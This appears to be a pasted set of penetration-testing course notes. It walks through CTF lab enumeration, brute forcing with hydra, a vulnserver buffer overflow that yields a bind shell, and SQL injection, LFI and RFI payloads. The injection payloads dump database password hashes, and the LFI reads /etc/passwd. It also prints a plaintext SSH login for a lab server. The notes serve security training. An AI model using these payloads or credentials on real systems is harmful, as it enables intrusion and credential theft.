Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- - Here is a good set of slides for getting started with Linux:
- http://www.slideshare.net/olafusimichael/linux-training-24086319
- - Here is a good tutorial that you should complete before doing the labs below:
- http://linuxsurvival.com/linux-tutorial-introduction/
- - I prefer to use Putty to SSH into my Linux host.
- - You can download Putty from here:
- - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
- Log in to this server to perform these labs:
- Server: 149.28.201.171
- Protocol: ssh
- Port: 22
- user: pentestplus
- pass: P@s$w0rd12!@
- The goal of this lab is to teach the basics of enumerating:
- - FTP
- - SSH
- - RPC/NFS
- #############################
- # Kevgir: Basic Enumeration #
- #############################
- ---------------------------Type This-----------------------------------
- cd ~/students/
- mkdir yourname
- cd yourname
- sudo nmap -sS 172.31.2.10
- -----------------------------------------------------------------------
- The output should look like this:
- 25/tcp open smtp
- 80/tcp open http
- 111/tcp open rpcbind
- 139/tcp open netbios-ssn
- 445/tcp open microsoft-ds
- 1322/tcp open novation
- 2049/tcp open nfs
- 8080/tcp open http-proxy
- 8081/tcp open blackice-icecap
- 9000/tcp open cslistener
- ---------------------------Type This-----------------------------------
- sudo nmap -sV 172.31.2.10
- -----------------------------------------------------------------------
- The output should look like this:
- 25/tcp open ftp vsftpd 3.0.2
- 80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
- 111/tcp open rpcbind 2-4 (RPC #100000)
- 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
- 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
- 1322/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
- 2049/tcp open nfs_acl 2-3 (RPC #100227)
- 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
- 8081/tcp open http Apache httpd 2.4.7 ((Ubuntu))
- 9000/tcp open http Jetty winstone-2.9
- Service Info: Host: CANYOUPWNME; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
- Now, let's look at this one port at a time.
- Port 25 - normally port 25 is SMTP, but in this case port 25 is FTP which is normally 21. Let's verify this:
- ---------------------------Type This-----------------------------------
- amap -A 172.31.2.10 25
- -----------------------------------------------------------------------
- The output should look like this:
- Protocol on 172.31.2.10:25/tcp matches ftp
- Yup, it's running FTP for sure. So how do we attack an FTP server?
- Here is a good reference (yes Chris read this whole thing):
- https://shahmeeramir.com/penetration-testing-of-an-ftp-server-19afe538be4b
- Basically it's bannergrab it to see if it's vulnerable, check for anonymous FTP, then brute force it.
- I like the NSE syntax from https://github.com/leebaird/discover/blob/master/nse.sh line 18
- ---------------------------Type This-----------------------------------
- sudo nmap -sV -Pn -p25 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 172.31.2.10
- echo hello > ~/students/yourname/list.txt
- echo goodbye >> ~/students/yourname/list.txt
- echo admin >> ~/students/yourname/list.txt
- echo root >> ~/students/yourname/list.txt
- hydra -l admin -P ~/students/yourname/list.txt -u -s 25 172.31.2.10 ftp
- ftp
- open 172.31.2.10 25
- admin
- admin
- pwd
- ls -lah
- ls ../../
- -----------------------------------------------------------------------
- Ok, so now we have a valid username/password of admin/admin. Let's keep that in our back pocket as it might work on some other services.
- Looks like SSH is running on port 1322 instead of its normal port 22. Let's verify that.
- ---------------------------Type This-----------------------------------
- amap -A 172.31.2.10 1322
- -----------------------------------------------------------------------
- The output should look like this:
- Protocol on 172.31.2.10:1322/tcp matches ssh
- Protocol on 172.31.2.10:1322/tcp matches ssh-openssh
- Yup, it's running SSH on the wrong port. Here is a good reference on how to attack SSH: https://www.hackingarticles.in/ssh-penetration-testing-port-22/
- Basically it's bannergrab it to see if it's vulnerable, check for SSH downgrade attacks, check for weak ciphers, then brute force it.
- I like the NSE syntax from https://github.com/leebaird/discover/blob/master/nse.sh line 25
- ---------------------------Type This-----------------------------------
- sudo nmap -sV -Pn -p1322 --script=sshv1,ssh2-enum-algos 172.31.2.10
- hydra -l admin -P ~/students/yourname/list.txt -u -s 1322 172.31.2.10 ssh
- ssh -p 1322 admin@172.31.2.10
- -----------------------------------------------------------------------
- #################
- # Attacking NFS #
- #################
- Ok, so it's running SunRPC on the correct port 111.
- Here are some good references on how to attack NFS (yes Chris - read both of these links):
- https://recipeforroot.com/attacking-nfs-shares/
- https://pentestlab.blog/2013/01/20/nfs-misconfiguration/
- Basically it's just a network share - see if you can connect to it (in Linux - you'll say "mount it" instead of connect to it) and see what's on it.
- I like the NSE syntax from https://github.com/leebaird/discover/blob/master/nse.sh line 95
- ---------------------------Type This-----------------------------------
- sudo nmap -sV -Pn -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 172.31.2.10
- sudo apt install -y rpcbind nfs-common
- rpcinfo -s 172.31.2.10
- showmount -e 172.31.2.10
- sudo /bin/bash
- mkdir /tmp/nfs
- mount -t nfs 172.31.2.10:/backup /tmp/nfs -o nolock
- ls /tmp/nfs
- cp /tmp/nfs/backup.tar.bz2.zip /home/chrisb
- umount -l /tmp/nfs
- exit
- fcrackzip -u backup.tar.bz2.zip
- unzip -P aaaaaa backup.tar.bz2.zip
- tar jxf backup.tar.bz2
- -----------------------------------------------------------------------
- ########################
- # Attacking WebServers #
- ########################
- OK, there are multiple ports running webservers. Let's check it out:
- ---------------------------Type This-----------------------------------
- cd ~/students/yourname
- amap -A 172.31.2.10 80
- amap -A 172.31.2.10 8080
- amap -A 172.31.2.10 8081
- amap -A 172.31.2.10 9000
- -----------------------------------------------------------------------
- ###############
- # Using Nikto #
- ###############
- ---------------------------Type This-----------------------------------
- cd ~/students/yourname
- nikto -h 172.31.2.10
- nikto -h 172.31.2.10:8080
- nikto -h 172.31.2.10:8081
- nikto -h 172.31.2.10:9000
- -----------------------------------------------------------------------
- ##############
- # Using dirb #
- ##############
- ---------------------------Type This-----------------------------------
- cd ~/students/yourname/
- git clone https://github.com/v0re/dirb.git
- cd dirb/
- ./configure
- make
- ./dirb
- cd ~/students/yourname/dirb
- ./dirb http://172.31.2.10 wordlists/common.txt
- ./dirb http://172.31.2.10:8080 wordlists/common.txt
- ./dirb http://172.31.2.10:8081 wordlists/common.txt
- ./dirb http://172.31.2.10:9000 wordlists/common.txt
- -----------------------------------------------------------------------
- ##############
- # Enum4Linux #
- ##############
- ---------------------------Type This-----------------------------------
- cd ~/students/yourname/
- git clone https://github.com/portcullislabs/enum4linux.git
- cd enum4linux/
- propecia 172.31.2 445
- perl enum4linux.pl -a 172.31.2.13
- ------------------------------------------------------------------------
- ######################
- ################# How do I do CTF's? ######################
- ######################
- The purpose of today's class is to help students learn how to address the common issues in Hacking Challenge Labs/Exams and Capture The Flag competitions. There are a few reasons that students perform poorly in these events/exams.
- Issue 1. Lack of a thorough attack process
- ==========================================
- - Host discovery
- - Service discovery
- - Service version discovery
- - Vulnerability research
- - Linux (port 111)/Window (port 445) Enumeration
- - Webserver vulnerability scan
- - Directory brute force every webserver
- - Analyze source code of every web app (look for IPs, usernames/passwords, explanations of how stuff works)
- - Brute force all services
- Issue 2. Lack of automation of the process
- ==========================================
- - Research attacks scripts on the internet to enhance your methodology
- Issue 3. Failing to document all steps being performed and their output
- =======================================================================
- Issue 4. Lack of sleep during the exam
- ======================================
- Issue 5. Failing to reboot target machines prior to attack
- ==========================================================
- --------------------------------------------------------------------------------------------------------------
- A good strategy to use to prepare would be:
- Step 1. Ensure that you are comfortable with Linux
- --------------------------------------------------
- - LinuxSurvival.com (you should be able to comfortably pass all 4 quizzes)
- - Comptia Linux+ (You should be just a hair under a Linux system administrator in skill level, simple shell scripting, and well beyond a Linux user skill level)
- You should be very comfortable with the material covered in the videos below (Go through all of them twice if you are new to Linux):
- https://www.youtube.com/playlist?list=PLCDA423AB5CEC8FDB
- https://www.youtube.com/playlist?list=PLtK75qxsQaMLZSo7KL-PmiRarU7hrpnwK
- https://www.youtube.com/playlist?list=PLcUid3OP_4OXOUqYTDGjq-iEwtBf-3l2E
- 2. You should be comfortable with the following tools:
- ------------------------------------------------------
- Nmap:
- https://www.youtube.com/playlist?list=PL6gx4Cwl9DGBsINfLVidNVaZ-7_v1NJIo
- Metasploit:
- https://www.youtube.com/playlist?list=PL6gx4Cwl9DGBmwvjJoWhM4Lg5MceSbsja
- Burp Suite:
- https://www.youtube.com/playlist?list=PLv95pq8fEyuivHeZB2jeC435tU3_1YGzV
- Sqlmap:
- https://www.youtube.com/playlist?list=PLA3E1E7A07FD60C75
- Nikto:
- https://www.youtube.com/watch?v=GH9qn_DBzCk
- Enum4Linux:
- https://www.youtube.com/watch?v=hA5raaGOQKQ
- RPCINFO/SHOWMOUNT:
- https://www.youtube.com/watch?v=FlRAA-1UXWQ
- Hydra:
- https://www.youtube.com/watch?v=rLtj8tEmGso
- 3. You need to comfortable with basic exploit development
- ---------------------------------------------------------
- Basic assembly:
- https://www.youtube.com/playlist?list=PLue5IPmkmZ-P1pDbF3vSQtuNquX0SZHpB
- Basic exploit development (first 5 videos in the playlist):
- https://www.youtube.com/playlist?list=PLWpmLW-3AVsjcz_VJFvofmIFVTk7T-Ukl
- 4. You need to be comfortable with privilege escalation
- -------------------------------------------------------
- Linux
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- Windows
- https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
- http://www.fuzzysecurity.com/tutorials/16.html
- ####################################################
- ----------- ############### # Day 3: Playing with Python3 and writing exploits # ############## -----------
- ####################################################
- I often get asked how I did it. How did I learn Python without having been a computer science major, without having gone to college, and for that matter not actually learning to program until I had been in the field for 8 years. Here is what I did.
- Step 1: Watch and do the newboston Python video series twice
- https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA
- Step 2: Watch and do the Google Python workshop twice
- https://www.youtube.com/playlist?list=PLfZeRfzhgQzTMgwFVezQbnpc1ck0I6CQl
- Step 3: Download all of the Python tools from PacketStorm and analyze the source code
- https://packetstormsecurity.com/files/tags/python
- Here is the code from Packet Storm
- https://infosecaddicts-files.s3.amazonaws.com/PythonReferenceCode.zip
- I went through almost every single file and looked up the code that I didn't understand.
- I also asked programmers to help me understand the lines of code that didn't make sense.
- In the folder RAC-Brute I actually had to hire a developer from an outsourcing website to comment,
- and explain the tool to me.
- Here is what I got out of doing that:
- https://infosecaddicts-files.s3.amazonaws.com/Python/sorted-commented-python-files.zip
- Distilled that into this:
- https://infosecaddicts-files.s3.amazonaws.com/Python-Courseware.zip
- ####################################
- # Python Lesson 1: Simple Printing #
- ####################################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> print ("Today we are learning Python.")
- >>> exit()
- -----------------------------------------------------------------------
- ############################################
- # Python Lesson 2: Simple Numbers and Math #
- ############################################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> 2+2
- >>> 6-3
- >>> 18/7
- >>> 18.0/7
- >>> 18.0/7.0
- >>> 18/7
- >>> 9%4
- 1
- >>> 8%4
- 0
- >>> 8.75%.5
- >>> 6.*7
- >>> 7*7*7
- >>> 7**3
- >>> 5**12
- >>> -5**4
- >>> exit()
- -----------------------------------------------------------------------
- ##############################
- # Python Lesson 3: Variables #
- ##############################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> x=18
- >>> x+15
- >>> x**3
- >>> y=54
- >>> g=int(input("Enter number here: "))
- Enter number here: 43
- >>> g
- >>> g+32
- >>> g**3
- >>> exit()
- -----------------------------------------------------------------------
- ##########################################
- # Python Lesson 4: Modules and Functions #
- ##########################################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> 5**4
- >>> pow(5,4)
- >>> abs(-18)
- >>> abs(5)
- >>> floor(18.7)
- >>> import math
- >>> math.floor(18.7)
- >>> math.ceil(18.7)
- >>> math.sqrt(81)
- >>> joe = math.sqrt
- >>> joe(9)
- >>> joe=math.floor
- >>> joe(19.8)
- >>> exit()
- -----------------------------------------------------------------------
- ############################
- # Python Lesson 5: Strings #
- ############################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> "XSS"
- >>> 'SQLi'
- >>> "Joe's a python lover"
- >>> "Joe said \"InfoSec is fun\" to me"
- >>> a = "Joe"
- >>> b = "McCray"
- >>> a, b
- >>> a+b
- >>> exit()
- -----------------------------------------------------------------------
- #################################
- # Python Lesson 6: More Strings #
- #################################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> num = 10
- >>> num + 2
- >>> "The number of open ports found on this system is ", num
- >>> num = str(18)
- >>> "There are ", num, " vulnerabilities found in this environment."
- >>> num2 = 46
- >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is ", + num2
- >>> exit()
- -----------------------------------------------------------------------
- ########################################
- # Python Lesson 7: Sequences and Lists #
- ########################################
- ---------------------------Type This-----------------------------------
- $ python3
- >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
- >>> attacks
- ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
- >>> attacks[3]
- 'SQL Injection'
- >>> attacks[-2]
- 'Cross-Site Scripting'
- >>> exit()
- #####################################
- # Quick Stack Based Buffer Overflow #
- #####################################
- - You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
- http://45.63.104.73/ExploitLab.zip
- http://45.63.104.73/nc-password-is-netcat.zip <--- save this file to your c:\windows\system32 directory
- - Extract the ExploitLab.zip file to your Desktop
- - Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
- - Open a new command prompt and type:
- ---------------------------Type This-----------------------------------
- nc localhost 9999
- --------------------------------------------------------------------------
- - In the new command prompt window where you ran nc type:
- HELP
- - Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
- - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
- - Now double-click on 1-simplefuzzer.py
- - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
- - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
- - Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
- - Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
- - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
- - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
- - Calculate the distance to EIP by running script 3-3000chars.py
- - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
- 4-count-chars-to-EIP.py
- - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
- - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
- 5-2006char-eip-check.py
- - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
- 6-jmp-esp.py
- - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
- 7-first-exploit
- - In this script we actually do the stack overflow and launch a bind shell on port 4444
- 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
- ------------------------------
- Skill Level 1. Run the scanners
- -------------------------------
- Nexpose
- Qualys
- Retina
- Nessus known vulnerabilities
- OpenVas
- Foundscan
- GFI LanGuard
- NCircle
- Skill Level 2. Manual vulnerability validation (known vulnerabilities)
- -----------------------------------------------------------------------
- windows -> systeminfo
- Linux-> dpkg -l (Debian/Ubuntu/Mint)
- rpm -qa (RHEL/Fedora/Centos)
- Mac OS X-> sudo find / -iname *.app
- Skill Level 3. Identify unknown vulnerabilities
- -----------------------------------------------
- - App Type
- ------------
- Stand Alone Client Server Web App
- ***(vulnerserver.exe)***
- - Input TYpe
- -------------
- FIle logical network port Browser
- Keyboard
- Mouse
- ***(9999)***
- - Map & Fuzz app entry points:
- ------------------------------
- - Commands ***(commands)***
- - Methods
- - Verbs
- - functions
- - subroutines
- - controllers
- - Isolate the crash
- -------------------
- App seems to reliably crash at TRUN 2100
- - Calculate the distance to EIP
- -------------------------------
- Distance to EIP is 2006
- We found that EIP was populated with the value: 396F4338
- 396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern
- An online tool that we can use for this is:
- https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
- - Redirect Program Execution
- ----------------------------
- A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction.
- We learned that we control EAX and ESP in script 2.
- - Implement Shellcode
- ---------------------
- There are only 2 things that can go wrong with shellcode:
- - Not enough space
- - Bad characters
- #########################################
- # FreeFloat FTP Server Exploit Analysis #
- #########################################
- Analyze the following exploit code:
- https://www.exploit-db.com/exploits/15689/
- 1. What is the target platform that this exploit works against?
- 2. What is the variable name for the distance to EIP?
- 3. What is the actual distance to EIP in bytes?
- 4. Describe what is happening in the variable ‘junk2’
- Analysis of the training walk-through based on EID: 15689:
- http://45.63.104.73/ff.zip
- ff1.py
- 1. What does the sys module do?
- 2. What is sys.argv[1] and sys.argv[2]?
- 3. What application entry point is being attacked in this script?
- ff2.py
- 1. Explain what is happening in lines 18 - 20 doing.
- 2. What is pattern_create.rb doing and where can I find it?
- 3. Why can’t I just double click the file to run this script?
- ff3.py
- 1. Explain what is happening in lines 17 - to 25?
- 2. Explain what is happening in lines 30 - to 32?
- 3. Why is everything below line 35 commented out?
- ff4.py
- 1. Explain what is happening in lines 13 to 15.
- 2. Explain what is happening in line 19.
- 3. What is the total length of buff?
- ff5.py
- 1. Explain what is happening in line 15.
- 2. What is struct.pack?
- 3. How big is the shellcode in this script?
- ff6.py
- 1. What is the distance to EIP?
- 2. How big is the shellcode in this script?
- 3. What is the total byte length of the data being sent to this app?
- ff7.py
- 1. What is a tuple in python?
- 2. How big is the shellcode in this script?
- 3. Did your app crash in from this script?
- ff8.py
- 1. How big is the shellcode in this script?
- 2. What is try/except in python?
- 3. What is socket.SOCK_STREAM in Python?
- ff9.py
- 1. What is going on in lines 19 and 20?
- 2. What is the length of the NOPs?
- 3. From what DLL did the address of the JMP ESP come from?
- ff010.py
- 1. What is going on in lines 18 - 20?
- 2. What is going on in lines 29 - 32?
- 3. How would a stack adjustment help this script?
- #########################################
- # Offensive Cyber Operations Job Roles #
- # Offensive Cyber Level 1 #
- #########################################
- Required Technical Skills: Comfortable with basic Linux/Windows (MCSA/Linux+)
- Comfortable with basic network (Network+)
- Comfortable with security fundamentals (Security+)
- Job Task: Run network security scanners and assist with documentation of known vulnerabilities
- Tools Used:
- Nmap
- Nexpose
- Qualys
- Retina
- Nessus known vulnerabilities
- OpenVas
- Foundscan
- GFI LanGuard
- NCircle
- #########################################
- # Offensive Cyber Operations Job Roles #
- # Offensive Cyber Level 2 #
- #########################################
- Required Technical Skills: Comfortable with basic Linux/Windows system administration
- Comfortable with basic network administration
- Comfortable with basic programming
- Comfortable researching IT security issues
- Job Task: Run network security scanners and assist with document of known vulnerabilities
- Perform manual vulnerability validation
- Analyze public exploit and develop threat analysis reports
- Assess simple applications for vulnerabilities
- #########################################
- # Security Operations Center Job Roles #
- # Offensive Cyber Level 3 #
- #########################################
- Required Technical Skills: Strong programming background (C, C++, Java, Assembly, scripting languages)
- Advanced system/network administration background
- Comfortable researching IT security issues
- Job Task: Perform manual vulnerability validation
- Analyze public exploit and develop threat analysis reports
- Assess complex applications for vulnerabilities
- ##########################
- ----------- ############### # Day 4: Web App Testing ############### -----------
- ##########################
- ##################################
- # Basic: Web Application Testing #
- ##################################
- Most people are going to tell you reference the OWASP Testing guide.
- https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
- I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
- The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
- 1. Does the website talk to a DB?
- - Look for parameter passing (ex: site.com/page.php?id=4)
- - If yes - try SQL Injection
- 2. Can I or someone else see what I type?
- - If yes - try XSS
- 3. Does the page reference a file?
- - If yes - try LFI/RFI
- Let's start with some manual testing against 45.63.104.73
- #######################
- # Attacking PHP/MySQL #
- #######################
- Go to LAMP Target homepage
- https://phpapp.infosecaddicts.com/
- Clicking on the Acer Link:
- https://phpapp.infosecaddicts.com/acre2.php?lap=acer
- - Found parameter passing (answer yes to question 1)
- - Insert ' to test for SQLI
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/acre2.php?lap=acer'
- -----------------------------------------------------------------------
- Page returns the following error:
- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
- In order to perform union-based sql injection - we must first determine the number of columns in this query.
- We do this using the ORDER BY
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 100-- +
- -----------------------------------------------------------------------
- Page returns the following error:
- Unknown column '100' in 'order clause'
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 50-- +
- -----------------------------------------------------------------------
- Page returns the following error:
- Unknown column '50' in 'order clause'
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 25-- +
- -----------------------------------------------------------------------
- Page returns the following error:
- Unknown column '25' in 'order clause'
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 12-- +
- -----------------------------------------------------------------------
- Page returns the following error:
- Unknown column '12' in 'order clause'
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 6-- +
- -----------------------------------------------------------------------
- ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
- Now we build out the union all select statement with the correct number of columns
- Reference:
- http://www.techonthenet.com/sql/union.php
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
- -----------------------------------------------------------------------
- Now we negate the parameter value 'acer' by turning into the word 'null':
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
- -----------------------------------------------------------------------
- We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
- Use a cheat sheet for syntax:
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
- https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
- https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
- https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
- https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
- -----------------------------------------------------------------------
- ########################
- # Question I get a lot #
- ########################
- Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
- Here is a good reference for it:
- https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
- Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
- #########################
- # File Handling Attacks #
- #########################
- Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/showfile.php?filename=about.txt
- -----------------------------------------------------------------------
- See if you can read files on the file system:
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/showfile.php?filename=/etc/passwd
- -----------------------------------------------------------------------
- We call this attack a Local File Include or LFI.
- Now let's find some text out on the internet somewhere:
- https://www.gnu.org/software/hello/manual/hello.txt
- Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt
- -----------------------------------------------------------------------
- #########################################################################################
- # SQL Injection #
- # https://phpapp.infosecaddicts.com/1-Intro_To_SQL_Intection.pptx #
- #########################################################################################
- - Another quick way to test for SQLI is to remove the paramter value
- #############################
- # Error-Based SQL Injection #
- #############################
- ---------------------------Type This-----------------------------------
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
- -----------------------------------------------------------------------
- #############################
- # Union-Based SQL Injection #
- #############################
- ---------------------------Type This-----------------------------------
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 100--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 50--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 25--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 10--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 5--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 6--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 7--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 8--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 9--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
- -----------------------------------------------------------------------
- We are using a union select statement because we are joining the developer's query with one of our own.
- Reference:
- http://www.techonthenet.com/sql/union.php
- The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
- It removes duplicate rows between the various SELECT statements.
- Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
- ---------------------------Type This-----------------------------------
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
- -----------------------------------------------------------------------
- Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
- ---------------------------Type This-----------------------------------
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
- -----------------------------------------------------------------------
- - Another way is to see if you can get the backend to perform an arithmetic function
- ---------------------------Type This-----------------------------------
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(2)
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-2)
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-1)
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=1--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=2--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=1*1
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 >-1#
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<99#
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<>1#
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 2 != 3--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 &0#
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=1--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=2--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='joe' and 1=1--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='dbo' and 1=1--
- -----------------------------------------------------------------------
- ###############################
- # Blind SQL Injection Testing #
- ###############################
- Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
- 3 - Total Characters
